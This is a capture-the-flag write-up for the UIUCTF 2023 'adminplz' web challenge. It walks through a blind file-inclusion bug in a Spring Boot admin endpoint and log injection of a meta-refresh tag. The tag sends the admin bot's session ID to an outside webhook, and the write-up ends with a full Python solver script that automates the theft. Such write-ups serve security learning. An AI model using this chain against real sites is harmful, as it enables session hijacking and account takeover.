In UIUCTF 2023, I participated with the TCP1P team and successfully solved several challenges, including the "**adminplz**" challenge.
In this challenge, our goal was to retrieve the admin credentials and gain access to the admin endpoint using a meta tag. The interesting part was that we discovered a blind Local File Inclusion (LFI) vulnerability accessible only to the admin. Leveraging this blind LFI, we successfully accessed the log and performed log injection. By injecting a meta tag into the log, we could steal the admin credentials, which were then recorded in the log file.
# Recon
In this challenge, we were given source code to analyze, and the part that intrigued me was the implementation of the backend using the Spring Boot framework. Here is an excerpt of the source code that caught my attention:
:::spoiler attachment/sources/src/main/java/dev/arxenix/adminplz/AdminApplication.java
```java=
package dev.arxenix.adminplz;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpSession;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ApplicationContext;
import org.springframework.core.io.Resource;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
import java.io.IOException;
@SpringBootApplication
@RestController
public class AdminApplication {
private static final Logger logger
= LoggerFactory.getLogger(AdminApplication.class);
private static String ADMIN_PASSWORD;
private static ApplicationContext app;
public static void main(String[] args) {
app = SpringApplication.run(AdminApplication.class, args);
ADMIN_PASSWORD = System.getenv("ADMIN_PASSWORD");
}
@PostMapping(path = "/login", consumes = {MediaType.APPLICATION_FORM_URLENCODED_VALUE})
public String login(HttpSession session, User user) {
if (user.getUsername().equals("admin") && !user.getPassword().equals(ADMIN_PASSWORD)) {
return "not allowed";
}
session.setAttribute("user", user);
return "logged in";
}
public boolean isAdmin(HttpServletRequest req, HttpSession session) {
return req.getRemoteAddr().equals("127.0.0.1") || (
isLoggedIn(session) && ((User) session.getAttribute("user")).getUsername().equals("admin")
);
}
public boolean isLoggedIn(HttpSession session) {
return session.getAttribute("user") != null;
}
long lastBotRun = 0;
@PostMapping(path = "/report", consumes = {MediaType.APPLICATION_FORM_URLENCODED_VALUE})
public String report(String url) throws IOException {
if (url == null || !(url.startsWith("http://") || url.startsWith("https://")))
return "invalid url";
long time = System.currentTimeMillis();
if (time - lastBotRun < 300000) {
return "too soon! (please wait 5min)";
}
lastBotRun = time;
Runtime.getRuntime().exec(new String[]{"node", "bot.js", url});
return "an admin will check your url!";
}
@GetMapping("/")
public Resource index(HttpServletRequest req) {
return app.getResource("index.html");
}
@GetMapping("/admin")
public Resource admin(HttpServletRequest req, HttpSession session, @RequestParam String view) {
if (isLoggedIn(session) && view.contains("flag")) {
logger.warn("user {} [{}] attempted to access restricted view", ((User) session.getAttribute("user")).getUsername(), session.getId());
}
return app.getResource(isAdmin(req, session) ? view : "error.html");
}
}
```
:::
## LFI in The Admin Side
Here is the code snippet for the admin endpoint that caught my attention:
```java
...snip...
@GetMapping("/admin")
public Resource admin(HttpServletRequest req, HttpSession session, @RequestParam String view) {
if (isLoggedIn(session) && view.contains("flag")) {
logger.warn("User {} [{}] attempted to access a restricted view", ((User) session.getAttribute("user")).getUsername(), session.getId());
}
return app.getResource(isAdmin(req, session) ? view : "error.html");
}
...snip...
```
The admin endpoint mentioned above utilizes the `app.getResource()` function to fetch a resource from the server-side. What makes it intriguing is its ability to support various protocols like `file://` and `http://`. You can refer to the table below, which I discovered in the Spring Boot framework documentation:
![Resource Protocols](https://hackmd.io/_uploads/SyZZgXeKn.png)
> For more detailed information, please visit the documentation at this [LINK](https://docs.spring.io/spring-framework/docs/3.0.x/reference/resources.html#:~:text=Table%C2%A04.1.%C2%A0Resource%20strings).
Since the admin endpoint containing the LFI vulnerability can only be accessed by the admin, it is protected by the `isAdmin()` function. Here is a snippet of the function's implementation:
```java
private boolean isAdmin(HttpServletRequest req, HttpSession session) {
User user = (User) session.getAttribute("user");
String clientIp = req.getRemoteAddr();
// Check if the user is the admin bot or has an admin session or is from IP 127.0.0.1
return (user != null && user.isAdmin()) || session.getId().equals("admin") || clientIp.equals("127.0.0.1");
}
```
The `isAdmin()` function verifies whether the user is the admin bot, possesses an admin session, or is accessing the admin endpoint from the IP address `127.0.0.1`. Only when one of these conditions is met will the user be granted Local File Inclusion (LFI) privileges in the admin endpoint.
## Session Credentials in Logging
In the code of the admin endpoint, it seems that if the request parameter "view" includes the string "flag", it will be recorded in the logging file located at `/var/log/adminplz`. You can find the configuration for the logging path in the `sources/src/main/resources/logback.xml` file, as illustrated in the image below:
![Logging Configuration](https://hackmd.io/_uploads/rk45c4lYn.png)
Admin endpoint source code:
![Admin Endpoint Source Code](https://hackmd.io/_uploads/HyDXAExY3.png)
If we test it by making the bot access the admin URL with the "view" parameter containing the string "flag", we can observe in the image below that it logs the username and the session ID:
![Logging Output](https://hackmd.io/_uploads/H1jQxHeK2.png)
> Request to admin:
> ![Admin Request](https://hackmd.io/_uploads/rkHHxBeK3.png)
## Content Security Policy (CSP) in Each Request
It appears that each request is appended with a Content Security Policy (CSP) header, as shown in the image below:
![CSP Header](https://hackmd.io/_uploads/rk6hGHeFh.png)
Due to the CSP implementation, traditional cross-site scripting (XSS) techniques cannot be used to steal the flag from `/admin?view=flag.html`. However, an alternative method comes to mind involving the use of the HTML `<meta>` tag with the `http-equiv` attribute (you can find reference here: [LINK](https://www.w3schools.com/tags/att_meta_http_equiv.asp)). By injecting an opening `<meta>` tag into the log file, and then having the admin visit `/admin?view=flag.html` to trigger the log, which would print the session ID, followed by injecting a closing tag, we can potentially make the website redirect to our desired URL with the attached session ID.
# Exploit
To exploit this challenge, we need to create a meta tag with an `http-equiv` attribute that wraps the admin session ID. Here is our plan:
```plantuml
@startuml
title Exploit Process Flow
actor Attacker
participant "Victim Server" as Server
actor "Admin Bot" as Admin
database "Logging File" as Log
group Step 1: Inject Meta Tag
Attacker -> Server: Injected username:\n<meta http-equiv='refresh' content='0;URL={attacker server}?a='
Attacker -> Server: Trigger the log
Server --> Log: The log records the injected username
group Step 2: Trigger Admin Bot
Attacker -> Server: Report URL: "/admin?view=flag.html" to admin
Server -> Admin: Send the URL to the admin
Admin -> Log: The admin triggers the log
group Step 3: Add Closing Tag
Attacker -> Server: Injected username: '>
Attacker -> Server: Trigger the log
Server --> Log: The log records the injected username
group Step 4: Trigger Meta Tag
Attacker -> Server: Report URL: "/admin?view=file:///var/log/adminplz/latest.log" to admin
Server -> Admin: Send the URL to the admin
Admin -> Log: The admin accesses the log
Admin --> Attacker: The admin is redirected to the attacker server with the session ID
@enduml
```
Explanation:
1. First, we inject the username that contains an open meta tag and then trigger the log by accessing `/admin?view=flag.html`.
2. Next, we send the URL `/admin?view=flag.html` to the admin endpoint to trigger the log on the admin side.
3. We add a closing tag using the technique described in step 1.
4. and then trigger the admin bot to visiting "/admin?view=file:///var/log/adminplz/latest.log" it will make the admin to redirect to attacker site with the session id on it.
if you successfully make it, the log wil be look like this:
![](https://hackmd.io/_uploads/SyBuJPetn.png)
and the string between `<meta http-equiv='refresh' content='0;URL=https://eo154vc30u5qsfr.m.pipedream.net/?a=` and `'>` that including the session id, will be send to our webhook server, like in image below:
![](https://hackmd.io/_uploads/rkJoHvlFn.png)
After receiving the session ID in the webhook server, you can copy the session ID and set it as the value of the `JSESSIONID` cookie, as shown in the image below:
![](https://hackmd.io/_uploads/HyeXUvgY3.png)
Once the cookie is set, you can make a request to `/admin?view=file:/flag.html` to retrieve the flag:
![](https://hackmd.io/_uploads/rynSDPgFn.png)
## Solver Script
Here is my solver script that I have slightly modified from the previous process to obtain the session ID in a single request to the report endpoint:
```python=
from time import sleep
import requests
from urllib.parse import urljoin, quote_plus
from multiprocessing import Process
from flask import Flask, redirect
PORT = 4444
LOGFILE = "file:///var/log/adminplz/latest.log"
URL = "https://inst-f98abff4ddb40274.adminplz.chal.uiuc.tf/"
# URL = "http://localhost/"
WEBHOOK = "https://eo154vc30u5qsfr.m.pipedream.net"
NGROK = "https://699e-112-215-220-142.ngrok-free.app"
# NGROK = f"http://172.17.0.1:{PORT}/"
app = Flask(__name__)
class API:
def __init__(self, url=URL) -> None:
self.url = url
self.s = requests.Session()
def join(s, path):
return urljoin(s.url, path)
def login(s, username):
return s.s.post(s.join("/login"), data={
"username": username,
"password": "x"
})
def report(s, url):
return s.s.post(s.join("/report"), data={"url": url})
def admin(s, view):
return s.s.get(s.join("/admin"), params={"view": view})
@app.route("/")
def heitunggu():
return redirect(urljoin("http://127.0.0.1:8080", "/admin?view=" + quote_plus(LOGFILE)))
def run_flask_app():
app.run("0.0.0.0", PORT, threaded=True)
if __name__ == "__main__":
flask_process = Process(target=run_flask_app)
flask_process.start()
api = API()
# make username with meta tag to sleep and redirect to heitunggu page
api.login(f"<meta http-equiv='refresh' content='10;URL={NGROK}'>")
# trigger the log
api.admin("flag.html")
# trigger bot admin to visiting the '/admin?view=<LOGFILE>#flag' to trigger
# logging that will print the session id
toreport = urljoin("http://127.0.0.1:8080", "/admin") + \
"?view="+quote_plus(LOGFILE+"#flag")
print("url;", toreport)
res = api.report(toreport)
print(res.text)
# make username with meta tag to steal the session id
api.login(f"<meta http-equiv='refresh' content='0;URL={WEBHOOK}/?a=")
# trigger the log
api.admin("flag.html")
# waiting admin to complete the request
sleep(2)
# make username with closing tag
api.login("'>")
# trigger the log
api.admin("flag.html")
flask_process.join()
```